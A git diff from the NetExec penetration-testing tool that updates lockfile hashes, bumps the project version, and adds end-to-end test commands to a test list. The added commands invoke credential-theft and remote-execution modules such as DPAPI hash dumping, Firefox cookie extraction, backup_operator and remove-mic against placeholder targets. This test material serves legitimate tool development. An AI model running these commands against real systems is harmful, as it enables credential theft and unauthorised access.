"sha256:09d7f72ad5e4bbf9a8f1acf0d5f0c3f9fbe500f44c4a45ac24a99ece84f5654f"}, - {file = "sspilib-0.1.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:1e5705e11aaa030a61d2b0a2ce09d2b8a1962dd950e55adc7a3c87dd463c6878"}, - {file = "sspilib-0.1.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dced8213d311c56f5f38044716ebff5412cc156f19678659e8ffa9bb6a642bd7"}, - {file = "sspilib-0.1.0-cp311-cp311-win32.whl", hash = "sha256:d30d38d52dbd857732224e86ae3627d003cc510451083c69fa481fc7de88a7b6"}, - {file = "sspilib-0.1.0-cp311-cp311-win_amd64.whl", hash = "sha256:61c9067168cce962f7fead42c28804c3a39a164b9a7b660200b8cfe31e3af071"}, - {file = "sspilib-0.1.0-cp311-cp311-win_arm64.whl", hash = "sha256:b526b8e5a236553f5137b951b89a2f108f56138ad05f31fd0a51b10f80b6c3cc"}, - {file = "sspilib-0.1.0-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:3ff356d40cd34c900f94f1591eaabd458284042af611ebc1dbf609002066dba5"}, - {file = "sspilib-0.1.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:2b0fee3a52d0acef090f6c9b49953a8400fdc1c10aca7334319414a3038aa493"}, - {file = "sspilib-0.1.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ab52d190dad1d578ec40d1fb417a8571954f4e32f35442a14cb709f57d3acbc9"}, - {file = "sspilib-0.1.0-cp312-cp312-win32.whl", hash = "sha256:b3cf819094383ec883e9a63c11b81d622618c815c18a6c9d761d9a14d9f028d1"}, - {file = "sspilib-0.1.0-cp312-cp312-win_amd64.whl", hash = "sha256:b83825a2c43ff84ddff72d09b098057efaabf3841d3c42888078e154cf8e9595"}, - {file = "sspilib-0.1.0-cp312-cp312-win_arm64.whl", hash = "sha256:9aa6ab4c3fc1057251cf1f3f199daf90b99599cdfafc9eade8fdf0c01526dec8"}, - {file = "sspilib-0.1.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:82bff5df178386027d0112458b6971bbd18c76eb9e7be53fd61dab33d7bf8417"}, - {file = "sspilib-0.1.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:18393a9e6e0447cb7f319d361b65e9a0eaa5484705f16787133ffc49ad364c28"}, - {file = "sspilib-0.1.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:88a423fbca206ba0ca811dc995d8c3af045402b7d330f033e938b24f3a1d93fc"}, - {file = "sspilib-0.1.0-cp38-cp38-win32.whl", hash = "sha256:86bd936b1ef0aa63c6d9623ad08473e74ceb15f342f6e92cbade15ed9574cd33"}, - {file = "sspilib-0.1.0-cp38-cp38-win_amd64.whl", hash = "sha256:d4f688b94f0a64128444063e1d3d59152614175999222f6e2920681faea833f4"}, - {file = "sspilib-0.1.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:2acef24e13e40d9dd8697eaae84ead9f417528ff741d087ec4eb4260518f4dc7"}, - {file = "sspilib-0.1.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:4b625802d80144d856d5eb6e8f4412f186565758da4493c7ad1b88e3d6d353de"}, - {file = "sspilib-0.1.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c06ca1e34702bca1c750dcb5133b716f316b38dccb28d55a1a44d9842bc3f391"}, - {file = "sspilib-0.1.0-cp39-cp39-win32.whl", hash = "sha256:68496c9bd52b57a1b6d2e5529b43c30060249b8db901127b8343c4ad8cd93670"}, - {file = "sspilib-0.1.0-cp39-cp39-win_amd64.whl", hash = "sha256:369727097f07a440099882580e284e137d9c27b7de354d63b65e327a454e7bee"}, - {file = "sspilib-0.1.0-cp39-cp39-win_arm64.whl", hash = "sha256:87d8268c0517149c51a53b3888961ebf66826bb3dbb82c4e5cf10108f5456104"}, - {file = "sspilib-0.1.0.tar.gz", hash = "sha256:58b5291553cf6220549c0f855e0e6973f4977375d8236ce47bb581efb3e9b1cf"}, + {file = "sspilib-0.2.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:34f566ba8b332c91594e21a71200de2d4ce55ca5a205541d4128ed23e3c98777"}, + {file = "sspilib-0.2.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:5b11e4f030de5c5de0f29bcf41a6e87c9fd90cb3b0f64e446a6e1d1aef4d08f5"}, + {file = "sspilib-0.2.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3e82f87d77a9da62ce1eac22f752511a99495840177714c772a9d27b75220f78"}, + {file = "sspilib-0.2.0-cp310-cp310-win32.whl", hash = "sha256:e436fa09bcf353a364a74b3ef6910d936fa8cd1493f136e517a9a7e11b319c57"}, + {file = "sspilib-0.2.0-cp310-cp310-win_amd64.whl", hash = "sha256:850a17c98d2b8579b183ce37a8df97d050bc5b31ab13f5a6d9e39c9692fe3754"}, + {file = "sspilib-0.2.0-cp310-cp310-win_arm64.whl", hash = "sha256:a4d788a53b8db6d1caafba36887d5ac2087e6b6be6f01eb48f8afea6b646dbb5"}, + {file = "sspilib-0.2.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:e0943204c8ba732966fdc5b69e33cf61d8dc6b24e6ed875f32055d9d7e2f76cd"}, + {file = "sspilib-0.2.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:d1cdfc5ec2f151f26e21aa50ccc7f9848c969d6f78264ae4f38347609f6722df"}, + {file = "sspilib-0.2.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1a6c33495a3de1552120c4a99219ebdd70e3849717867b8cae3a6a2f98fef405"}, + {file = "sspilib-0.2.0-cp311-cp311-win32.whl", hash = "sha256:400d5922c2c2261009921157c4b43d868e84640ad86e4dc84c95b07e5cc38ac6"}, + {file = "sspilib-0.2.0-cp311-cp311-win_amd64.whl", hash = "sha256:d3e7d19c16ba9189ef8687b591503db06cfb9c5eb32ab1ca3bb9ebc1a8a5f35c"}, + {file = "sspilib-0.2.0-cp311-cp311-win_arm64.whl", hash = "sha256:f65c52ead8ce95eb78a79306fe4269ee572ef3e4dcc108d250d5933da2455ecc"}, + {file = "sspilib-0.2.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:abac93a90335590b49ef1fc162b538576249c7f58aec0c7bcfb4b860513979b4"}, + {file = "sspilib-0.2.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:1208720d8e431af674c5645cec365224d035f241444d5faa15dc74023ece1277"}, + {file = "sspilib-0.2.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e48dceb871ecf9cf83abdd0e6db5326e885e574f1897f6ae87d736ff558f4bfa"}, + {file = "sspilib-0.2.0-cp312-cp312-win32.whl", hash = "sha256:bdf9a4f424add02951e1f01f47441d2e69a9910471e99c2c88660bd8e184d7f8"}, + {file = "sspilib-0.2.0-cp312-cp312-win_amd64.whl", hash = "sha256:40a97ca83e503a175d1dc9461836994e47e8b9bcf56cab81a2c22e27f1993079"}, + {file = "sspilib-0.2.0-cp312-cp312-win_arm64.whl", hash = "sha256:8ffc09819a37005c66a580ff44f544775f9745d5ed1ceeb37df4e5ff128adf36"}, + {file = "sspilib-0.2.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:40ff410b64198cf1d704718754fc5fe7b9609e0c49bf85c970f64c6fc2786db4"}, + {file = "sspilib-0.2.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:02d8e0b6033de8ccf509ba44fdcda7e196cdedc0f8cf19eb22c5e4117187c82f"}, + {file = "sspilib-0.2.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ad7943fe14f8f6d72623ab6401991aa39a2b597bdb25e531741b37932402480f"}, + {file = "sspilib-0.2.0-cp313-cp313-win32.whl", hash = "sha256:b9044d6020aa88d512e7557694fe734a243801f9a6874e1c214451eebe493d92"}, + {file = "sspilib-0.2.0-cp313-cp313-win_amd64.whl", hash = "sha256:c39a698491f43618efca8776a40fb7201d08c415c507f899f0df5ada15abefaa"}, + {file = "sspilib-0.2.0-cp313-cp313-win_arm64.whl", hash = "sha256:863b7b214517b09367511c0ef931370f0386ed2c7c5613092bf9b106114c4a0e"}, + {file = "sspilib-0.2.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:a0ede7afba32f2b681196c0b8520617d99dc5d0691d04884d59b476e31b41286"}, + {file = "sspilib-0.2.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:bd95df50efb6586054963950c8fa91ef994fb73c5c022c6f85b16f702c5314da"}, + {file = "sspilib-0.2.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9460258d3dc3f71cc4dcfd6ac078e2fe26f272faea907384b7dd52cb91d9ddcc"}, + {file = "sspilib-0.2.0-cp38-cp38-win32.whl", hash = "sha256:6fa9d97671348b97567020d82fe36c4211a2cacf02abbccbd8995afbf3a40bfc"}, + {file = "sspilib-0.2.0-cp38-cp38-win_amd64.whl", hash = "sha256:32422ad7406adece12d7c385019b34e3e35ff88a7c8f3d7c062da421772e7bfa"}, + {file = "sspilib-0.2.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:6944a0d7fe64f88c9bde3498591acdb25b178902287919b962c398ed145f71b9"}, + {file = "sspilib-0.2.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:0216344629b0f39c2193adb74d7e1bed67f1bbd619e426040674b7629407eba9"}, + {file = "sspilib-0.2.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1c5f84b9f614447fc451620c5c44001ed48fead3084c7c9f2b9cefe1f4c5c3d0"}, + {file = "sspilib-0.2.0-cp39-cp39-win32.whl", hash = "sha256:b290eb90bf8b8136b0a61b189629442052e1a664bd78db82928ec1e81b681fb5"}, + {file = "sspilib-0.2.0-cp39-cp39-win_amd64.whl", hash = "sha256:404c16e698476e500a7fe67be5457fadd52d8bdc9aeb6c554782c8f366cc4fc9"}, + {file = "sspilib-0.2.0-cp39-cp39-win_arm64.whl", hash = "sha256:8697e5dd9229cd3367bca49fba74e02f867759d1d416a717e26c3088041b9814"}, + {file = "sspilib-0.2.0.tar.gz", hash = "sha256:4d6cd4290ca82f40705efeb5e9107f7abcd5e647cb201a3d04371305938615b8"}, ] [[package]] @@ -2223,13 +2348,13 @@ widechars = ["wcwidth"] [[package]] name = "termcolor" -version = "2.4.0" +version = "2.5.0" description = "ANSI color formatting for output in terminal" optional = false -python-versions = ">=3.8" +python-versions = ">=3.9" files = [ - {file = "termcolor-2.4.0-py3-none-any.whl", hash = "sha256:9297c0df9c99445c2412e832e882a7884038a25617c60cea2ad69488d4040d63"}, - {file = "termcolor-2.4.0.tar.gz", hash = "sha256:aab9e56047c8ac41ed798fa36d892a37aca6b3e9159f3e0c24bc64a9b3ac7b7a"}, + {file = "termcolor-2.5.0-py3-none-any.whl", hash = "sha256:37b17b5fc1e604945c2642c872a3764b5d547a48009871aea3edd3afa180afb8"}, + {file = "termcolor-2.5.0.tar.gz", hash = "sha256:998d8d27da6d48442e8e1f016119076b690d962507531df4890fcd2db2ef8a6f"}, ] [package.extras] @@ -2248,35 +2373,35 @@ files = [ [[package]] name = "tomli" -version = "2.0.1" +version = "2.0.2" description = "A lil' TOML parser" optional = false -python-versions = ">=3.7" +python-versions = ">=3.8" files = [ - {file = "tomli-2.0.1-py3-none-any.whl", hash = "sha256:939de3e7a6161af0c887ef91b7d41a53e7c5a1ca976325f429cb46ea9bc30ecc"}, - {file = "tomli-2.0.1.tar.gz", hash = "sha256:de526c12914f0c550d15924c62d72abc48d6fe7364aa87328337a31007fe8a4f"}, + {file = "tomli-2.0.2-py3-none-any.whl", hash = "sha256:2ebe24485c53d303f690b0ec092806a085f07af5a5aa1464f3931eec36caaa38"}, + {file = "tomli-2.0.2.tar.gz", hash = "sha256:d46d457a85337051c36524bc5349dd91b1877838e2979ac5ced3e710ed8a60ed"}, ] [[package]] name = "tomlkit" -version = "0.13.0" +version = "0.13.2" description = "Style preserving TOML library" optional = false python-versions = ">=3.8" files = [ - {file = "tomlkit-0.13.0-py3-none-any.whl", hash = "sha256:7075d3042d03b80f603482d69bf0c8f345c2b30e41699fd8883227f89972b264"}, - {file = "tomlkit-0.13.0.tar.gz", hash = "sha256:08ad192699734149f5b97b45f1f18dad7eb1b6d16bc72ad0c2335772650d7b72"}, + {file = "tomlkit-0.13.2-py3-none-any.whl", hash = "sha256:7a974427f6e119197f670fbbbeae7bef749a6c14e793db934baefc1b5f03efde"}, + {file = "tomlkit-0.13.2.tar.gz", hash = "sha256:fff5fe59a87295b278abd31bec92c15d9bc4a06885ab12bcea52c71119392e79"}, ] [[package]] name = "tqdm" -version = "4.66.4" +version = "4.66.5" description = "Fast, Extensible Progress Meter" optional = false python-versions = ">=3.7" files = [ - {file = "tqdm-4.66.4-py3-none-any.whl", hash = "sha256:b75ca56b413b030bc3f00af51fd2c1a1a5eac6a0c1cca83cbb37a5c52abce644"}, - {file = "tqdm-4.66.4.tar.gz", hash = "sha256:e4d936c9de8727928f3be6079590e97d9abfe8d39a590be678eb5919ffc186bb"}, + {file = "tqdm-4.66.5-py3-none-any.whl", hash = "sha256:90279a3770753eafc9194a0364852159802111925aa30eb3f9d85b0e805ac7cd"}, + {file = "tqdm-4.66.5.tar.gz", hash = "sha256:e1020aef2e5096702d8a025ac7d16b1577279c9d63f8375b63083e9a5f0fcbad"}, ] [package.dependencies] @@ -2314,13 +2439,13 @@ pycryptodomex = "*" [[package]] name = "urllib3" -version = "2.2.2" +version = "2.2.3" description = "HTTP library with thread-safe connection pooling, file post, and more." optional = false python-versions = ">=3.8" files = [ - {file = "urllib3-2.2.2-py3-none-any.whl", hash = "sha256:a448b2f64d686155468037e1ace9f2d2199776e17f0a46610480d311f73e3472"}, - {file = "urllib3-2.2.2.tar.gz", hash = "sha256:dd505485549a7a552833da5e6063639d0d177c04f23bc3864e41e5dc5f612168"}, + {file = "urllib3-2.2.3-py3-none-any.whl", hash = "sha256:ca899ca043dcb1bafa3e262d73aa25c465bfb49e0bd9dd5d59f1d0acba2f8fac"}, + {file = "urllib3-2.2.3.tar.gz", hash = "sha256:e7d814a81dad81e6caf2ec9fdedb284ecc9c73076b62654547cc64ccdcae26e9"}, ] [package.extras] @@ -2342,13 +2467,13 @@ files = [ [[package]] name = "werkzeug" -version = "3.0.3" +version = "3.0.4" description = "The comprehensive WSGI web application library." optional = false python-versions = ">=3.8" files = [ - {file = "werkzeug-3.0.3-py3-none-any.whl", hash = "sha256:fc9645dc43e03e4d630d23143a04a7f947a9a3b5727cd535fdfe155a17cc48c8"}, - {file = "werkzeug-3.0.3.tar.gz", hash = "sha256:097e5bfda9f0aba8da6b8545146def481d06aa7d3266e7448e2cccf67dd8bd18"}, + {file = "werkzeug-3.0.4-py3-none-any.whl", hash = "sha256:02c9eb92b7d6c06f31a782811505d2157837cea66aaede3e217c7c27c039476c"}, + {file = "werkzeug-3.0.4.tar.gz", hash = "sha256:34f2371506b250df4d4f84bfe7b0921e4762525762bbd936614909fe25cd7306"}, ] [package.dependencies] @@ -2382,22 +2507,7 @@ files = [ {file = "xmltodict-0.13.0.tar.gz", hash = "sha256:341595a488e3e01a85a9d8911d8912fd922ede5fecc4dce437eb4b6c8d037e56"}, ] -[[package]] -name = "zipp" -version = "3.19.2" -description = "Backport of pathlib-compatible object wrapper for zip files" -optional = false -python-versions = ">=3.8" -files = [ - {file = "zipp-3.19.2-py3-none-any.whl", hash = "sha256:f091755f667055f2d02b32c53771a7a6c8b47e1fdbc4b72a8b9072b3eef8015c"}, - {file = "zipp-3.19.2.tar.gz", hash = "sha256:bf1dcf6450f873a13e952a29504887c89e6de7506209e5b1bcc3460135d4de19"}, -] - -[package.extras] -doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"] -test = ["big-O", "importlib-resources", "jaraco.functools", "jaraco.itertools", "jaraco.test", "more-itertools", "pytest (>=6,!=8.1.*)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=2.2)", "pytest-ignore-flaky", "pytest-mypy", "pytest-ruff (>=0.2.1)"] - [metadata] lock-version = "2.0" -python-versions = "^3.8.0" -content-hash = "ea9268bbeebfa000c1250559be97ee8bd9209072e2bd24ee326eee9c0f864ed2" +python-versions = "^3.10.0" +content-hash = "6a4e460ce87103f0a4f9eeddbf78d48cd9e8dc6092457187f2deef26b0ccdfc4" diff --git a/pyproject.toml b/pyproject.toml index fc7b33d7..dbea2e61 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [tool.poetry] name = "netexec" -version = "1.2.0" +version = "1.3.0" description = "The Network Execution tool" authors = [ "Marshall Hallenbeck ", @@ -33,23 +33,25 @@ NetExec = 'nxc.netexec:main' nxcdb = 'nxc.nxcdb:main' [tool.poetry.dependencies] -python = "^3.8.0" +python = "^3.10.0" aardwolf = "^0.2.8" aioconsole = "^0.6.2" aiosqlite = "^0.19.0" argcomplete = "^3.1.4" asyauth = ">=0.0.20" beautifulsoup4 = ">=4.11,<5" -bloodhound = "^1.7.2" -dploot = "^2.7.4" +bloodhound = "^1.8.0" +dploot = "^3.1.0" dsinternals = "^1.2.4" impacket = { git = "https://github.com/fortra/impacket.git" } +jwt = ">=1.3.1" lsassy = ">=3.1.11" masky = "^0.2.0" minikerberos = "^0.4.1" msgpack = "^1.0.0" msldap = "^0.5.10" neo4j = "^5.0.0" +oscrypto = { git = "https://github.com/wbond/oscrypto" } paramiko = "^3.3.1" poetry-dynamic-versioning = "^1.2.0" pyasn1-modules = "^0.3.0" @@ -74,7 +76,7 @@ pytest = "^7.2.2" ruff = "=0.0.292" [build-system] -requires = ["poetry-core>=1.2.0", "poetry-dynamic-versioning>=1.0.0,<2.0.0"] +requires = ["poetry-core>=1.0.0", "poetry-dynamic-versioning>=1.0.0,<2.0.0"] build-backend = "poetry_dynamic_versioning.backend" [tool.poetry-dynamic-versioning] @@ -125,7 +127,7 @@ line-length = 65000 # Allow unused variables when underscore-prefixed. dummy-variable-rgx = "^(_+|(_+[a-zA-Z0-9_]*[a-zA-Z0-9]+?))$" -target-version = "py37" +target-version = "py310" [tool.ruff.flake8-quotes] docstring-quotes = "double" diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index 31a0bd7c..0c6250bb 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -1,9 +1,12 @@ ##### Check Generic Help Options netexec -h ##### SMB +netexec smb TARGET_HOST --generate-hosts-file /tmp/hostsfile +netexec smb TARGET_HOST --generate-krb5-file /tmp/krb5conf netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex netexec {DNS} smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares --no-smbv1 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares --filter-shares READ WRITE netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --pass-pol netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --disks @@ -63,6 +66,8 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-comp netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer -o NAME="BADPC" DELETE=True netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M bitlocker +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dpapi_hash +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dpapi_hash -o OUTPUTFILE=hashes.txt netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M drop-sc netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M drop-sc -o CLEANUP=True netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M empire_exec -o LISTENER=http-listener @@ -71,6 +76,7 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_av netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_dns netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_dns -o DOMAIN=google.com netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M firefox +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M firefox -o COOKIES=True netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get_netconnections netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpp_autologin netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpp_password @@ -82,6 +88,8 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M iis netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M install_elevated netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ioxidresolver netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M security-questions +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M remove-mic +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M backup_operator # currently hanging indefinitely - TODO: look into this #netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M keepass_discover #netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M keepass_trigger -o ACTION=ALL USER=LOGIN_USERNAME KEEPASS_CONFIG_PATH="C:\\Users\\LOGIN_USERNAME\\AppData\\Roaming\\KeePass\\KeePass.config.xml" @@ -135,6 +143,7 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M uac netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M veeam netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M vnc netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M vnc -o NO_REMOTEOPS=True +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wam netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wdigest -o ACTION=enable netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wdigest -o ACTION=disable netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M web_delivery -o URL=localhost/dl_cradle @@ -212,6 +221,7 @@ netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --check-p ##### MSSQL netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # Need a space at the end for kerb regex netexec {DNS} mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # Need a space at the end for kerb regex +netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --rid-brute ##### MSSQL PowerShell netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 @@ -252,6 +262,8 @@ netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --sudo-check --sudo- netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --sudo-check --sudo-check-method sudo-stdin --get-output-tries 10 netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --sudo-check --sudo-check-method mkfifo netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --sudo-check --sudo-check-method mkfifo --get-output-tries 10 +netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --put-file TEST_NORMAL_FILE /tmp/test_file.txt --put-file TEST_NORMAL_FILE /tmp/test_file2.txt +netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --get-file /tmp/test_file.txt /tmp/test_file.txt --get-file /tmp/test_file.txt /tmp/test_file2.txt ##### FTP- Default test passwords and random key; switch these out if you want correct authentication netexec ftp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD netexec ftp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --ls